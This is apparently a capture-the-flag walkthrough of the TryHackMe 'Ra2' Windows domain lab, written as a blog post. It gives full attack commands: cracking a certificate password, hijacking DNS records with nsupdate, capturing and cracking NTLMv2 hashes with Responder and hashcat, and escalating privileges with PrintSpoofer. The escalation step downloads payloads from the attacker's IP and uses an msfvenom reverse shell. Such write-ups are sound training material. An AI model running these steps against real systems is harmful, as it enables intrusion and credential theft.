Post

THM - Ra2

Ra2 - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



THM - Ra2

NMAP

1
sudo nmap 10.10.176.236

image1

1
sudo nmap 10.10.176.236 -A

image2

  • Add fire.windcorp.thm to /etc/hosts file

  • Run gobuster on fire.windcorp.thm:

1
gobuster dir -u https://fire.windcorp.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k

image3

  • Found /powershell

image4

  • Got no credentials yet for it

  • Enumerating the https website - found:

image5

Add selfservice to /etc/hosts

  • Got a login box

image6

  • Inspecting the pictures we can see some usernames:

image7

image8

image9

image10

  • Openfire users:

image11

image12

1
2
cat xmpp_info| cut -d ":" -f4 | cut -d '"' -f1 > xmpp_users

image13

  • Inspecting the certifcate - Found .dev

image14

Add .dev to /etc/hosts

image15

image16

  • Run dirb:
1
2
dirb https://selfservice.dev.windcorp.thm

image17

Found /backup

image18

  • Download cert.pfx

image19

  • Tried enumerating it but needs a password: ```bash openssl pkcs12 -in cert.pfx -info -noout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
![image20](../resources/6e987c8b07fe4534bacb01e2db763684.png)

[https://www.openssl.org/docs/man1.0.2/man1/pkcs12.html](https://www.openssl.org/docs/man1.0.2/man1/pkcs12.html)

- Crack with **<u>crackpkcs12</u>**:
<https://crackpkcs12.sourceforge.net/>

(Apparently **pfx2john** can be used as well but it took so long I changed to crackpkcs12)


![image21](../resources/8422c435e1384c4d91a137f6fda5cab1.png)

```bash
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ../cert.pfx

image22

  • Found password: ganteng

  • Test password:

1
2
openssl pkcs12 -in cert.pfx -info -nodes

image23

image24

  • Found a certificate and private key (copy into a file - for now)

  • Use dig to query the DNS name with the DNS server(DC):

1
2
dig windcorp.thm any @10.10.176.236

image25

  • We get a flag and a hint

image26

https://www.exploit-db.com/exploits/3544

This is what it looks like on Windows:

image27

  • Update records on the DNS server:

image28

image29

image30

image31

image32

  • The popup login page is on: selfservice.windcorp.thm
1
2
nsupdate

1
2
3
4
> server 10.10.88.197  #DNS server's IP
> update delete selfservice.windcorp.thm A
> update add selfservice.windcorp.thm 5000 A 10.8.24.66  #Kali tun0 IP
> send

image33

Test with dig:

1
dig selfservice.windcorp.thm @10.10.88.197  #-- DNS server's IP

image34

  • Use Responder to capture the potential sign in:

  • Because this is a HTTPS server we need to use the cert and key we found earlier
  • Split the cert and key into two files - cert.pem and key.pem
  • Make sure the key.pem is chmod 600

  • Copy the two files to ==/usr/share/responder/certs==

image35

  • Edit Responder.conf

image36

  • Scroll to the bottom and edit the HTTPS Server settings, with the new cert and key files:

image37

  • Run Responder
1
2
sudo responder -I tun0

  • And:

image38

  • Stored in Responder/logs directory

  • Copy the NTLMv2 hash to a file (ntlmhash)

  • Crack with hashcat:

1
2
hashcat -m 5600 -a 0 ntlmhash /usr/share/wordlists/rockyou.txt

image39

Got credentials:

WINDCORP\edwardle : !Angelus25!

  • Tried RDP cus 3389 is open but we aren’t allowed:
1
2
xfreerdp /v:10.10.88.197 /u:edwardle /p:"\!Angelus25\!" /dynamic-resolution /cert:ignore

And evil-winrm:

1
2
evil-winrm -i 10.10.88.197 -u edwardle -p "\!Angelus25\!"

  • Remembered we have the URL:

https://fire.windcorp.thm/powershell

image40

image41

image42

1
2
whoami /all

image43

  • Using PrintSpoofer:
1
2
3
4
5
6
7
8
(New-Object System.Net.WebClient).DownloadFile('http://10.8.24.66:8081/PrintSpoofer.exe', 'C:\Users\edwardle.WINDCORP\Desktop\PrintSpoofer.exe')

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.24.66 LPORT=4445 -f exe -o reverse.exe

(New-Object System.Net.WebClient).DownloadFile('http://10.8.24.66:8081/reverse.exe', 'C:\Users\edwardle.WINDCORP\Desktop\reverse.exe')

.\PrintSpoofer.exe -c ".\reverse.exe"

image44

Got shell:

image45

This post is licensed under CC BY 4.0 by the author.